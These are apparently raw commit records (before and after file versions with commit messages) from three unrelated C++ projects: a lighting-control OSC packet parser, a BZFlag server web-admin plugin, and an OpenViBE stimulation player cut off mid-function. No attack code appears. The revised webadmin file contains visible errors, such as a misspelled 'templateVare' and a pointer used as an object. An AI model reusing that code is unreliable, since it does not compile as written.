case 0x69: \/* 'i' *\/ typeArray.append(Integer); break;\n case 0x73: \/* 's' *\/ typeArray.append(String); break;\n default: break;\n }\n currPos++;\n }\n \/\/ round current position to 4\n if (typeArray.count() < 4)\n currPos += (2 - typeArray.count());\n\n qDebug () << \"[OSC] Tags found:\" << typeArray.count() << \"currpos at\" << currPos;\n\n foreach(TagType tag, typeArray)\n {\n switch (tag)\n {\n case Integer:\n {\n if (currPos + 4 > data.size())\n break;\n quint32 iVal;\n\n *((uchar*)(&iVal) + 3) = data.at(currPos);\n *((uchar*)(&iVal) + 2) = data.at(currPos + 1);\n *((uchar*)(&iVal) + 1) = data.at(currPos + 2);\n *((uchar*)(&iVal) + 0) = data.at(currPos + 3);\n\n if (iVal < 256)\n values.append((char)iVal);\n else\n values.append((char)(iVal \/ 0xFFFFFF));\n\n qDebug() << \"[OSC] iVal:\" << iVal;\n currPos += 4;\n }\n break;\n case Float:\n {\n if (currPos + 4 > data.size())\n break;\n float fVal;\n\n *((uchar*)(&fVal) + 3) = data.at(currPos);\n *((uchar*)(&fVal) + 2) = data.at(currPos + 1);\n *((uchar*)(&fVal) + 1) = data.at(currPos + 2);\n *((uchar*)(&fVal) + 0) = data.at(currPos + 3);\n\n values.append((char)(255.0 * fVal));\n\n qDebug() << \"[OSC] fVal:\" << fVal;\n\n currPos += 4;\n }\n break;\n case String:\n {\n int firstZeroPos = data.indexOf('\\0', currPos);\n QString str = QString(data.mid(currPos, firstZeroPos - currPos));\n qDebug() << \"[OSC] sVal:\" << str;\n \/\/ align current position to a multiple of 4\n int zeroNumber = 4 - (str.length() % 4);\n currPos = firstZeroPos + zeroNumber;\n }\n break;\n default: break;\n }\n }\n\n return true;\n}\n\n\n\n<commit_msg>plugins\/osc: fixed 0 padding of generic outgoing packets<commit_after>\/*\n Q Light Controller Plus\n oscpacketizer.cpp\n\n Copyright (c) Massimo Callegari\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n*\/\n\n#include \"oscpacketizer.h\"\n\n#include <QStringList>\n#include <QDebug>\n\nOSCPacketizer::OSCPacketizer()\n{\n}\n\nOSCPacketizer::~OSCPacketizer()\n{\n}\n\n\/*********************************************************************\n * Sender functions\n *********************************************************************\/\n\nvoid OSCPacketizer::setupOSCDmx(QByteArray &data, quint32 universe, quint32 channel, uchar value)\n{\n data.clear();\n QString path = QString(\"\/%1\/dmx\/%2\").arg(universe).arg(channel);\n data.append(path);\n\n \/\/ add trailing zeros to reach a multiple of 4\n int zeroNumber = 4 - (path.length() % 4);\n if (zeroNumber > 0)\n data.append(QByteArray(zeroNumber, 0x00));\n\n data.append(\",f\");\n data.append((char)0x00);\n data.append((char)0x00);\n float fVal = (float)value;\n data.append(*(((char *)&fVal) + 3));\n data.append(*(((char *)&fVal) + 2));\n data.append(*(((char *)&fVal) + 1));\n data.append(*(((char *)&fVal) + 0));\n}\n\nvoid OSCPacketizer::setupOSCGeneric(QByteArray &data, QString &path, QString types, QByteArray &values)\n{\n data.clear();\n if (path.isEmpty())\n {\n qDebug() << Q_FUNC_INFO << \"Empty path, can't create packet\";\n return;\n }\n\n data.append(path);\n \/\/ add trailing zeros to reach a multiple of 4\n int zeroNumber = 4 - (path.length() % 4);\n if (zeroNumber > 0)\n data.append(QByteArray(zeroNumber, 0x00));\n\n data.append(\",\");\n data.append(types);\n\n zeroNumber = 4 - ((types.length() + 1) % 4);\n if (zeroNumber > 0)\n data.append(QByteArray(zeroNumber, 0x00));\n\n for (int i = 0; i < types.length() && i < values.length(); i++)\n {\n if (types.at(i) == 'f')\n {\n uchar val = (uchar)values.at(i);\n float fVal = (float)val \/ 255.0;\n data.append(*(((char *)&fVal) + 3));\n data.append(*(((char *)&fVal) + 2));\n data.append(*(((char *)&fVal) + 1));\n data.append(*(((char *)&fVal) + 0));\n }\n }\n}\n\n\/*********************************************************************\n * Receiver functions\n *********************************************************************\/\nbool OSCPacketizer::parseMessage(QByteArray &data, QString &path, QByteArray &values)\n{\n path.clear();\n values.clear();\n\n QList<TagType> typeArray;\n bool tagsEnded = false;\n\n \/\/ first of all look for a comma\n int commaPos = data.indexOf(0x2C);\n if (commaPos == -1)\n return false;\n\n path = QString(data.mid(0, commaPos));\n qDebug() << \" [OSC] path extracted:\" << path;\n\n int currPos = commaPos + 1;\n while (tagsEnded == false)\n {\n switch (data.at(currPos))\n {\n case 0x00: tagsEnded = true; break;\n case 0x62: \/* 'b' *\/ typeArray.append(Blob); break;\n case 0x66: \/* 'f' *\/ typeArray.append(Float); break;\n case 0x69: \/* 'i' *\/ typeArray.append(Integer); break;\n case 0x73: \/* 's' *\/ typeArray.append(String); break;\n default: break;\n }\n currPos++;\n }\n \/\/ round current position to 4\n if (typeArray.count() < 4)\n currPos += (2 - typeArray.count());\n\n qDebug () << \"[OSC] Tags found:\" << typeArray.count() << \"currpos at\" << currPos;\n\n foreach(TagType tag, typeArray)\n {\n switch (tag)\n {\n case Integer:\n {\n if (currPos + 4 > data.size())\n break;\n quint32 iVal;\n\n *((uchar*)(&iVal) + 3) = data.at(currPos);\n *((uchar*)(&iVal) + 2) = data.at(currPos + 1);\n *((uchar*)(&iVal) + 1) = data.at(currPos + 2);\n *((uchar*)(&iVal) + 0) = data.at(currPos + 3);\n\n if (iVal < 256)\n values.append((char)iVal);\n else\n values.append((char)(iVal \/ 0xFFFFFF));\n\n qDebug() << \"[OSC] iVal:\" << iVal;\n currPos += 4;\n }\n break;\n case Float:\n {\n if (currPos + 4 > data.size())\n break;\n float fVal;\n\n *((uchar*)(&fVal) + 3) = data.at(currPos);\n *((uchar*)(&fVal) + 2) = data.at(currPos + 1);\n *((uchar*)(&fVal) + 1) = data.at(currPos + 2);\n *((uchar*)(&fVal) + 0) = data.at(currPos + 3);\n\n values.append((char)(255.0 * fVal));\n\n qDebug() << \"[OSC] fVal:\" << fVal;\n\n currPos += 4;\n }\n break;\n case String:\n {\n int firstZeroPos = data.indexOf('\\0', currPos);\n QString str = QString(data.mid(currPos, firstZeroPos - currPos));\n qDebug() << \"[OSC] sVal:\" << str;\n \/\/ align current position to a multiple of 4\n int zeroNumber = 4 - (str.length() % 4);\n currPos = firstZeroPos + zeroNumber;\n }\n break;\n default: break;\n }\n }\n\n return true;\n}\n\n\n\n<|endoftext|>"} {"text":"<commit_before>\/\/ webadmin.cpp : Defines the entry point for the DLL application.\n\/\/\n\n#include \"bzfsAPI.h\"\n#include \"plugin_utils.h\"\n#include \"plugin_HTTP.h\"\n#include <fstream>\n#include <cstring>\n#include <algorithm>\n\nclass WebAdmin : public BZFSHTTPAuth, TemplateCallbackClass\n{\npublic:\n WebAdmin();\n virtual const char * getVDir ( void ){return \"webadmin\";}\n virtual const char * getDescription ( void ){return \"Server Administration (Login Required)\";}\n\n void init (const char *tDir);\n\n virtual bool handleAuthedRequest ( int level, const HTTPRequest &request, HTTPReply &reply );\n \n \/\/ from TemplateCallbackClass\n virtual void keyCallback (std::string &data, const std::string &key);\n virtual bool loopCallback (const std::string &key);\n virtual bool ifCallback (const std::string &key);\n\nprivate:\n size_t loopPos;\n std::map<std::string,std::string> templateVars;\n \n typedef void (WebAdmin::*page_callback)(const HTTPRequest &);\n std::map<std::string,page_callback> controllers;\n std::vector<std::string> pagenames;\n \n void mainPageCallback (const HTTPRequest &request);\n void banlistPageCallback (const HTTPRequest &request);\n \n bz_APIIntList players;\n};\n\nWebAdmin *webAdmin = NULL;\n\nBZ_GET_PLUGIN_VERSION\n\nBZF_PLUGIN_CALL int bz_Load(const char* commandLine)\n{\n if(webAdmin)\n delete(webAdmin);\n webAdmin = new WebAdmin;\n webAdmin->init(commandLine);\n\n bz_debugMessage(4,\"webadmin plugin loaded\");\n return 0;\n}\n\nBZF_PLUGIN_CALL int bz_Unload(void)\n{\n if(webAdmin)\n delete(webAdmin);\n webAdmin = NULL;\n\n bz_debugMessage(4,\"webadmin plugin unloaded\");\n return 0;\n}\n\nWebAdmin::WebAdmin():BZFSHTTPAuth(),loopPos(0)\n{ \n\tregisterVDir();\n\t\n\t\/\/ add new pages here\n\tcontrollers[\"main\"] = &WebAdmin::mainPageCallback;\n\tcontrollers[\"banlist\"] = &WebAdmin::banlistPageCallback;\n\tcontrollers[\"helpmsg\"] = NULL;\n\tcontrollers[\"group\"] = NULL;\n\t\n std::map<std::string,page_callback>::iterator pair;\n for(pair = controllers.begin(); pair != controllers.end(); pair++)\n pagenames.push_back(pair->first);\n}\n\n\nvoid WebAdmin::init(const char* cmdln)\n{\n templateSystem.addSearchPath(cmdln ? cmdln : \".\/\");\n\n \/\/ level one has admin perms\n addPermToLevel(1,\"ADMIN\");\n \n templateSystem.addIF(\"IsCurrentPage\",this);\n templateSystem.addIF(\"Error\",this);\n\n templateSystem.addKey(\"Error\",this);\n templateSystem.addKey(\"Callsign\",this);\n templateSystem.addKey(\"BannedUser\",this);\n templateSystem.addKey(\"PageName\",this);\n \n templateSystem.addLoop(\"Navigation\",this);\n templateSystem.addLoop(\"Players\",this);\n templateSystem.addLoop(\"IPBanList\",this);\n templateSystem.addLoop(\"IDBanList\",this);\n\n templateSystem.setPluginName(\"webadmin\", getBaseURL().c_str());\n\n setupAuth();\n}\n\n\/\/ event hook for [$Something] in templates\nvoid WebAdmin::keyCallback (std::string &data, const std::string &key)\n{\n const std::map<std::string,std::string>::iterator &pair = templateVars.find(key);\n if (pair != templateVars.end())\n\t\tdata = pair->second;\n}\n\n\/\/ condition check for [*START] in templates\nbool WebAdmin::loopCallback (const std::string &key)\n{\n if (key == \"players\") {\n if (!loopPos) bz_getPlayerIndexList(&players);\n else if (loopPos < players.size()) {\n templateVars[\"playerid\"] = players[loopPos];\n templateVars[\"callsign\"] = bz_getPlayerCallsign(players[loopPos++]);\n return true;\n } else {\n players.clear();\n return loopPos = 0;\n }\n } else if (key == \"navigation\") {\n if (loopPos < pagenames.size()) {\n templateVars[\"pagename\"] = pagenames[loopPos++];\n return true;\n } else return loopPos = 0;\n } else if (key == \"permissions\") {\n if (loopPos < bzu_standardPerms().size()) {\n templateVars[\"permission\"] = bzu_standardPerms()[loopPos++];\n return true;\n } else return loopPos = 0;\n } else return false;\n}\n\n\/\/ condition check for [?IF] in templates\nbool WebAdmin::ifCallback (const std::string &key)\n{\n if (key == \"iscurrentpage\")\n return templateVars[\"pagename\"] == templateVars[\"currentpage\"];\n return false;\n}\n\nbool WebAdmin::handleAuthedRequest ( int level, const HTTPRequest &request, HTTPReply &reply )\n{\n std::map<std::string,page_callback>::iterator pair;\n size_t last;\n std::string pagename = request.resource;\n\n switch(level) {\n case 1:\n case VERIFIED:\n last = pagename.size()-1;\n if (pagename[last] == '\/') pagename.erase(last);\n if (pagename.empty()) pagename = \"main\";\n pair = controllers.find(pagename);\n if (pair != controllers.end()) {\n (this->*pair->second)(request);\n if (!templateSystem.processTemplateFile(reply.body, (pagename + \".tmpl\").c_str())) {\n reply.returnCode = HTTPReply::e500ServerError;\n if (!templateSystem.processTemplateFile(reply.body, \"500.tmpl\"))\n reply.body = format(\"Missing template: %s.tmpl\", pagename.c_str());\n }\n } else {\n reply.returnCode = HTTPReply::e404NotFound;\n if (!templateSystem.processTemplateFile(reply.body, \"404.tmpl\"))\n reply.body = format(\"No such resource: %s\", pagename.c_str());\n }\n break;\n \/\/reply.body = format(\"Not authenticated(Verified) sessionID %d\",request.sessionID);\n default:\n reply.body = format(\"Not authenticated sessionID %d\",request.sessionID);\n }\n\n reply.docType = HTTPReply::eHTML;\n\n templateVars.clear();\n return true;\n}\n\nvoid WebAdmin::mainPageCallback (const HTTPRequest &request)\n{\n if (request.request != ePost) return;\n std::vector<std::string> players;\n if (!request.getParam(\"players\", players)) return;\n std::string dummy, reason;\n bool notify = request.getParam(\"notify\", dummy);\n request.getParam(\"reason\", reason);\n std::vector<std::string>::iterator i;\n if (request.getParam(\"kick\", dummy))\n for (i = players.begin(); i != players.end(); i++)\n bz_kickUser(atoi(i->c_str()), reason.c_str(), notify);\n else if (request.getParam(\"ipban\", players)) {\n request.getParam(\"duration\", dummy);\n int duration = atoi(dummy.c_str());\n for (i = players.begin(); i != players.end(); i++) {\n int playerID = atoi(i->c_str());\n bz_BasePlayerRecord *player = bz_getPlayerByIndex(playerID);\n bz_IPBanUser(playerID, bz_getPlayerIPAddress(playerID), duration, reason.c_str());\n }\n }\n else if (request.getParam(\"idban\", players)) {\n request.getParam(\"duration\", dummy);\n int duration = atoi(dummy.c_str());\n for (i = players.begin(); i != players.end(); i++) {\n int playerID = atoi(i->c_str());\n bz_BasePlayerRecord *player = bz_getPlayerByIndex(playerID);\n bz_IPBanUser(playerID, bz_getPlayerCallsign(playerID), duration, reason.c_str());\n }\n }\n}\n\nvoid WebAdmin::banlistPageCallback (const HTTPRequest &request)\n{\n if (request.request != ePost) return;\n std::vector<std::string> banRemovals;\n std::vector<std::string>::iterator i;\n if (request.getParam(\"delip\", banRemovals))\n for(i = banRemovals.begin(); i != banRemovals.end(); i++)\n bz_IPUnbanUser(i->c_str());\n if (request.getParam(\"delid\", banRemovals))\n for(i = banRemovals.begin(); i != banRemovals.end(); i++)\n bz_IDUnbanUser(i->c_str());\n \n}\n\n\/\/ Local Variables: ***\n\/\/ mode: C++ ***\n\/\/ tab-width: 8 ***\n\/\/ c-basic-offset: 2 ***\n\/\/ indent-tabs-mode: t ***\n\/\/ End: ***\n\/\/ ex: shiftwidth=2 tabstop=2 expandtab\n<commit_msg>more keys, ifs, loops<commit_after>\/\/ webadmin.cpp : Defines the entry point for the DLL application.\n\/\/\n\n#include \"bzfsAPI.h\"\n#include \"plugin_utils.h\"\n#include \"plugin_HTTP.h\"\n#include <fstream>\n#include <cstring>\n#include <algorithm>\n\nclass WebAdmin : public BZFSHTTPAuth, TemplateCallbackClass\n{\npublic:\n WebAdmin();\n virtual const char * getVDir ( void ){return \"webadmin\";}\n virtual const char * getDescription ( void ){return \"Server Administration (Login Required)\";}\n\n void init (const char *tDir);\n\n virtual bool handleAuthedRequest ( int level, const HTTPRequest &request, HTTPReply &reply );\n \n \/\/ from TemplateCallbackClass\n virtual void keyCallback (std::string &data, const std::string &key);\n virtual bool loopCallback (const std::string &key);\n virtual bool ifCallback (const std::string &key);\n\nprivate:\n unsigned int loopPos;\n std::map<std::string,std::string> templateVars;\n \n typedef void (WebAdmin::*page_callback)(const HTTPRequest &);\n std::map<std::string,page_callback> controllers;\n std::vector<std::string> pagenames;\n \n void mainPageCallback (const HTTPRequest &request);\n void banlistPageCallback (const HTTPRequest &request);\n \n bz_APIIntList players;\n bz_APIStringList *stringList;\n \n bool editing;\n};\n\nWebAdmin *webAdmin = NULL;\n\nBZ_GET_PLUGIN_VERSION\n\nBZF_PLUGIN_CALL int bz_Load(const char* commandLine)\n{\n if(webAdmin)\n delete(webAdmin);\n webAdmin = new WebAdmin;\n webAdmin->init(commandLine);\n\n bz_debugMessage(4,\"webadmin plugin loaded\");\n return 0;\n}\n\nBZF_PLUGIN_CALL int bz_Unload(void)\n{\n if(webAdmin)\n delete(webAdmin);\n webAdmin = NULL;\n\n bz_debugMessage(4,\"webadmin plugin unloaded\");\n return 0;\n}\n\nWebAdmin::WebAdmin():BZFSHTTPAuth(),loopPos(0)\n{ \n\tregisterVDir();\n\t\n\t\/\/ add new pages here\n\tcontrollers[\"main\"] = &WebAdmin::mainPageCallback;\n\tcontrollers[\"banlist\"] = &WebAdmin::banlistPageCallback;\n\tcontrollers[\"helpmsg\"] = NULL;\n\tcontrollers[\"group\"] = NULL;\n\t\n std::map<std::string,page_callback>::iterator pair;\n for(pair = controllers.begin(); pair != controllers.end(); pair++)\n pagenames.push_back(pair->first);\n}\n\n\nvoid WebAdmin::init(const char* cmdln)\n{\n templateSystem.addSearchPath(cmdln ? cmdln : \".\/\");\n\n \/\/ level one has admin perms\n addPermToLevel(1,\"ADMIN\");\n \n templateSystem.addIF(\"IsCurrentPage\",this);\n templateSystem.addIF(\"Error\",this);\n templateSystem.addIF(\"Editing\",this);\n\n templateSystem.addKey(\"Error\",this);\n templateSystem.addKey(\"Callsign\",this);\n templateSystem.addKey(\"BannedUser\",this);\n templateSystem.addKey(\"PageName\",this);\n templateSystem.addKey(\"HelpMsgName\",this);\n templateSystem.addKey(\"HelpMsgBody\",this);\n templateSystem.addKey(\"GroupName\",this);\n \n templateSystem.addLoop(\"Navigation\",this);\n templateSystem.addLoop(\"Players\",this);\n templateSystem.addLoop(\"IPBanList\",this);\n templateSystem.addLoop(\"IDBanList\",this);\n templateSystem.addLoop(\"HelpMsgs\",this);\n templateSystem.addLoop(\"Groups\",this);\n\n templateSystem.setPluginName(\"webadmin\", getBaseURL().c_str());\n\n setupAuth();\n}\n\n\/\/ event hook for [$Something] in templates\nvoid WebAdmin::keyCallback (std::string &data, const std::string &key)\n{\n const std::map<std::string,std::string>::iterator &pair = templateVars.find(key);\n if (pair != templateVars.end())\n\t\tdata = pair->second;\n}\n\n\/\/ condition check for [*START] in templates\nbool WebAdmin::loopCallback (const std::string &key)\n{\n if (key == \"players\") {\n if (!loopPos) bz_getPlayerIndexList(&players);\n else if (loopPos < players.size()) {\n templateVars[\"playerid\"] = players[loopPos];\n templateVars[\"callsign\"] = bz_getPlayerCallsign(players[loopPos++]);\n return true;\n } else {\n players.clear();\n return loopPos = 0;\n }\n } else if (key == \"navigation\") {\n if (loopPos < pagenames.size()) {\n templateVars[\"pagename\"] = pagenames[loopPos++];\n return true;\n } else return loopPos = 0;\n } else if (key == \"permissions\") {\n if (loopPos < bzu_standardPerms().size()) {\n templateVars[\"permission\"] = bzu_standardPerms()[loopPos++];\n return true;\n } else return loopPos = 0;\n } else if (key == \"helpmsgs\") {\n if (!loopPos) stringList = bz_getHelpTopics();\n if (loopPos < stringList.size()) {\n templateVare[\"helpmsgname\"] = stringList[loopPos++].c_str();\n return true;\n } else {\n delete(stringList);\n return loopPos = 0;\n }\n } else if (key == \"groups\") {\n if (!loopPos) stringList = bz_getGroupList();\n if (loopPos < stringList.size()) {\n templateVare[\"groupname\"] = stringList[loopPos++].c_str();\n return true;\n } else {\n delete(stringList);\n return loopPos = 0;\n }\n } else return false;\n}\n\n\/\/ condition check for [?IF] in templates\nbool WebAdmin::ifCallback (const std::string &key)\n{\n if (key == \"iscurrentpage\")\n return templateVars[\"pagename\"] == templateVars[\"currentpage\"];\n if (key == \"editing\")\n return editing;\n return false;\n}\n\nbool WebAdmin::handleAuthedRequest ( int level, const HTTPRequest &request, HTTPReply &reply )\n{\n std::map<std::string,page_callback>::iterator pair;\n size_t last;\n std::string pagename = request.resource;\n\n switch(level) {\n case 1:\n case VERIFIED:\n last = pagename.size()-1;\n if (pagename[last] == '\/') pagename.erase(last);\n if (pagename.empty()) pagename = \"main\";\n pair = controllers.find(pagename);\n if (pair != controllers.end()) {\n (this->*pair->second)(request);\n if (!templateSystem.processTemplateFile(reply.body, (pagename + \".tmpl\").c_str())) {\n reply.returnCode = HTTPReply::e500ServerError;\n if (!templateSystem.processTemplateFile(reply.body, \"500.tmpl\"))\n reply.body = format(\"Missing template: %s.tmpl\", pagename.c_str());\n }\n } else {\n reply.returnCode = HTTPReply::e404NotFound;\n if (!templateSystem.processTemplateFile(reply.body, \"404.tmpl\"))\n reply.body = format(\"No such resource: %s\", pagename.c_str());\n }\n break;\n \/\/reply.body = format(\"Not authenticated(Verified) sessionID %d\",request.sessionID);\n default:\n reply.body = format(\"Not authenticated sessionID %d, access level %d\",request.sessionID,level);\n }\n\n reply.docType = HTTPReply::eHTML;\n\n templateVars.clear();\n return true;\n}\n\nvoid WebAdmin::mainPageCallback (const HTTPRequest &request)\n{\n if (request.request != ePost) return;\n std::vector<std::string> players;\n if (!request.getParam(\"players\", players)) return;\n std::string dummy, reason;\n bool notify = request.getParam(\"notify\", dummy);\n request.getParam(\"reason\", reason);\n std::vector<std::string>::iterator i;\n if (request.getParam(\"kick\", dummy))\n for (i = players.begin(); i != players.end(); i++)\n bz_kickUser(atoi(i->c_str()), reason.c_str(), notify);\n else if (request.getParam(\"ipban\", players)) {\n request.getParam(\"duration\", dummy);\n int duration = atoi(dummy.c_str());\n for (i = players.begin(); i != players.end(); i++) {\n int playerID = atoi(i->c_str());\n bz_BasePlayerRecord *player = bz_getPlayerByIndex(playerID);\n bz_IPBanUser(playerID, bz_getPlayerIPAddress(playerID), duration, reason.c_str());\n }\n }\n else if (request.getParam(\"idban\", players)) {\n request.getParam(\"duration\", dummy);\n int duration = atoi(dummy.c_str());\n for (i = players.begin(); i != players.end(); i++) {\n int playerID = atoi(i->c_str());\n bz_BasePlayerRecord *player = bz_getPlayerByIndex(playerID);\n bz_IPBanUser(playerID, bz_getPlayerCallsign(playerID), duration, reason.c_str());\n }\n }\n}\n\nvoid WebAdmin::banlistPageCallback (const HTTPRequest &request)\n{\n if (request.request != ePost) return;\n std::vector<std::string> banRemovals;\n std::vector<std::string>::iterator i;\n if (request.getParam(\"delip\", banRemovals))\n for(i = banRemovals.begin(); i != banRemovals.end(); i++)\n bz_IPUnbanUser(i->c_str());\n if (request.getParam(\"delid\", banRemovals))\n for(i = banRemovals.begin(); i != banRemovals.end(); i++)\n bz_IDUnbanUser(i->c_str());\n \n}\n\n\/\/ Local Variables: ***\n\/\/ mode: C++ ***\n\/\/ tab-width: 8 ***\n\/\/ c-basic-offset: 2 ***\n\/\/ indent-tabs-mode: t ***\n\/\/ End: ***\n\/\/ ex: shiftwidth=2 tabstop=2 expandtab\n<|endoftext|>"} {"text":"<commit_before>#include \"ovpCXMLStimulationScenarioPlayer.h\"\n\n#include <fstream>\n#include <iostream>\n\nusing namespace OpenViBE;\nusing namespace OpenViBE::Plugins;\nusing namespace OpenViBE::Kernel;\nusing namespace OpenViBEPlugins;\nusing namespace OpenViBEPlugins::Stimulation;\n\nusing namespace OpenViBEToolkit;\n\nusing namespace std;\n\nnamespace OpenViBEPlugins\n{\n\tnamespace Stimulation\n\t{\n\t\tvoid CXMLStimulationScenarioPlayer::writeStimulationOutput(const void* pBuffer, const EBML::uint64 ui64BufferSize)\n\t\t{\n\t\t\tappendOutputChunkData<0>(pBuffer, ui64BufferSize);\n\t\t}\n\n\t\tvoid CXMLStimulationScenarioPlayer::setStimulationCount(const uint32 ui32StimulationCount)\n\t\t{\n\t\t\t\/* TODO nothing? *\/\n\t\t}\n\n\t\tvoid CXMLStimulationScenarioPlayer::setStimulation(const uint32 ui32StimulationIndex, const uint64 ui64StimulationIdentifier, const uint64 ui64StimulationDate)\n\t\t{\n\t\t\tm_oStimulationReceived.push_back(pair<uint64, uint64>(ui64StimulationIdentifier, ui64StimulationDate));\n\t\t}\n\n\t\tboolean CXMLStimulationScenarioPlayer::readAutomaton(const CString& oFilename)\n\t\t{\n\t\t\tifstream l_oFile(oFilename.toASCIIString());\n\t\t\tif(!l_oFile.good())\n\t\t\t{\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\tsize_t l_iFileSize = 0;\n\t\t\tl_oFile.seekg(0, ios::end);\n\t\t\tl_iFileSize = l_oFile.tellg();\n\t\t\tl_oFile.seekg(0, ios::beg);\n\n\t\t\tchar * l_pXmlBuffer = new char[l_iFileSize];\n\t\t\tl_oFile.read(l_pXmlBuffer, l_iFileSize);\n\n\t\t\tm_pXMLAutomatonReader->processData(l_pXmlBuffer, l_iFileSize);\n\n\t\t\tl_oFile.close();\n\n\t\t\treturn true;\n\t\t}\n\n\t\tCXMLStimulationScenarioPlayer::CXMLStimulationScenarioPlayer(void) :\n\t\t\tm_pReader(NULL),\n\t\t\tm_pStimulationReaderCallBack(NULL),\n\t\t\tm_pWriter(NULL),\n\t\t\tm_pOutputWriterCallbackProxy(NULL),\n\t\t\tm_pStimulationOutputWriterHelper(NULL),\n\t\t\tm_pXMLAutomatonReader(NULL),\n\t\t\tm_pAutomatonController(NULL),\n\t\t\tm_pAutomatonContext(NULL),\n\t\t\tm_bEndOfAutomaton(false),\n\t\t\tm_ui64PreviousActivationTime(0)\n\t\t{\n\t\t}\n\n\t\tboolean CXMLStimulationScenarioPlayer::initialize()\n\t\t{\n\t\t\tm_bEndOfAutomaton = false;\n\n\t\t\tm_pStimulationReaderCallBack=createBoxAlgorithmStimulationInputReaderCallback(*this);\n\t\t\tm_pReader = EBML::createReader(*m_pStimulationReaderCallBack);\n\n\t\t\tm_pOutputWriterCallbackProxy = new EBML::TWriterCallbackProxy1<OpenViBEPlugins::Stimulation::CXMLStimulationScenarioPlayer>(*this, &CXMLStimulationScenarioPlayer::writeStimulationOutput);\n\n\t\t\tm_pWriter=EBML::createWriter(*m_pOutputWriterCallbackProxy);\n\n\t\t\tm_pStimulationOutputWriterHelper=createBoxAlgorithmStimulationOutputWriter();\n\n\t\t\tconst IBox* l_pBoxContext=getBoxAlgorithmContext()->getStaticBoxContext();\n\t\t\tCString l_sFileName;\n\n\t\t\tm_pXMLAutomatonReader = Automaton::createXMLAutomatonReader();\n\n\t\t\t\/\/ Parses box settings to find input file's name\n\t\t\tl_pBoxContext->getSettingValue(0, l_sFileName);\n\n\t\t\tif(!readAutomaton(l_sFileName))\n\t\t\t{\n\t\t\t\tgetBoxAlgorithmContext()->getPlayerContext()->getLogManager() << LogLevel_Warning << \"Could not read automaton file\\n\";\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\tm_pAutomatonController = m_pXMLAutomatonReader->getAutomatonController();\n\n\t\t\tm_pAutomatonContext = m_pAutomatonController->getAutomatonContext();\n\n\t\t\t\/\/we don't need the XML reader anymore\n\t\t\treleaseXMLAutomatonReader(m_pXMLAutomatonReader);\n\n\t\t\tm_pStimulationOutputWriterHelper->writeHeader(*m_pWriter);\n\t\t\tgetBoxAlgorithmContext()->getDynamicBoxContext()->markOutputAsReadyToSend(0, 0, 0);\n\n\t\t\treturn true;\n\t\t}\n\n\t\tboolean CXMLStimulationScenarioPlayer::uninitialize()\n\t\t{\n\t\t\treleaseBoxAlgorithmStimulationInputReaderCallback(m_pStimulationReaderCallBack);\n\n\t\t\tdelete m_pOutputWriterCallbackProxy;\n\t\t\tm_pOutputWriterCallbackProxy= NULL;\n\t\t\tm_pWriter->release();\n\t\t\tm_pWriter = NULL;\n\t\t\treleaseBoxAlgorithmStimulationOutputWriter(m_pStimulationOutputWriterHelper);\n\t\t\tm_pStimulationOutputWriterHelper=NULL;\n\n\t\t\treleaseAutomatonController(m_pAutomatonController);\n\t\t\tm_pAutomatonController=NULL;\n\n\t\t\treleaseAutomatonContext(m_pAutomatonContext);\n\t\t\tm_pAutomatonContext=NULL;\n\n\t\t\treturn true;\n\t\t}\n\n\t\tboolean CXMLStimulationScenarioPlayer::processInput(uint32 ui32InputIndex)\n\t\t{\n\t\t\tIDynamicBoxContext* l_pDynamicBoxContext=getBoxAlgorithmContext()->getDynamicBoxContext();\n\n\t\t\tfor(uint32 i=0; i<l_pDynamicBoxContext->getInputChunkCount(ui32InputIndex); i++)\n\t\t\t{\n\t\t\t\tuint64 l_ui64StartTime;\n\t\t\t\tuint64 l_ui64EndTime;\n\t\t\t\tuint64 l_ui64ChunkSize;\n\t\t\t\tconst uint8* l_pChunkBuffer=NULL;\n\n\t\t\t\tif(l_pDynamicBoxContext->getInputChunk(ui32InputIndex, i, l_ui64StartTime, l_ui64EndTime, l_ui64ChunkSize, l_pChunkBuffer))\n\t\t\t\t{\n\t\t\t\t\tm_pReader->processData(l_pChunkBuffer, l_ui64ChunkSize);\n\t\t\t\t}\n\t\t\t\tl_pDynamicBoxContext->markInputAsDeprecated(ui32InputIndex, i);\n\t\t\t}\n\n\t\t\tgetBoxAlgorithmContext()->markAlgorithmAsReadyToProcess();\n\n\t\t\treturn true;\n\t\t}\n\n\t\tboolean CXMLStimulationScenarioPlayer::processClock(CMessageClock &rMessageClock)\n\t\t{\n\t\t\tuint64 l_ui64CurrentTime = rMessageClock.getTime();\n\n\t\t\tIDynamicBoxContext * l_pDynamicBoxContext = getBoxAlgorithmContext()->getDynamicBoxContext();\n\n\t\t\tif(!m_bEndOfAutomaton)\n\t\t\t{\n\t\t\t\t\/\/actualize context\n\t\t\t\tm_pAutomatonContext->setCurrentTime(rMessageClock.getTime());\n\n\t\t\t\tfor(size_t i=0 ; i<m_oStimulationReceived.size() ; i++)\n\t\t\t\t{\n\t\t\t\t\tAutomaton::CIdentifier l_oStimulationIdentifier = m_oStimulationReceived[i].first;\n\t\t\t\t\tm_pAutomatonContext->addReceivedEvent(l_oStimulationIdentifier);\n\t\t\t\t}\n\n\t\t\t\t\/\/process\n\t\t\t\tm_bEndOfAutomaton = m_pAutomatonController->process();\n\n\t\t\t\tconst Automaton::CIdentifier * l_pSentEvents = m_pAutomatonContext->getSentEvents();\n\n\t\t\t\t\/\/set the number of stimulation to send\n\t\t\t\tm_pStimulationOutputWriterHelper->setStimulationCount(m_pAutomatonContext->getSentEventsCount());\n\n\t\t\t\t\/\/if there were stimulations\n\t\t\t\tif(l_pSentEvents)\n\t\t\t\t{\n\t\t\t\t\t\/\/adds em\n\t\t\t\t\tfor(uint32 i = 0 ; i<m_pAutomatonContext->getSentEventsCount() ; i++)\n\t\t\t\t\t{\n\t\t\t\t\t\t\/* TODO check Stimulation date *\/\n\t\t\t\t\t\tm_pStimulationOutputWriterHelper->setStimulation(i, l_pSentEvents[i], 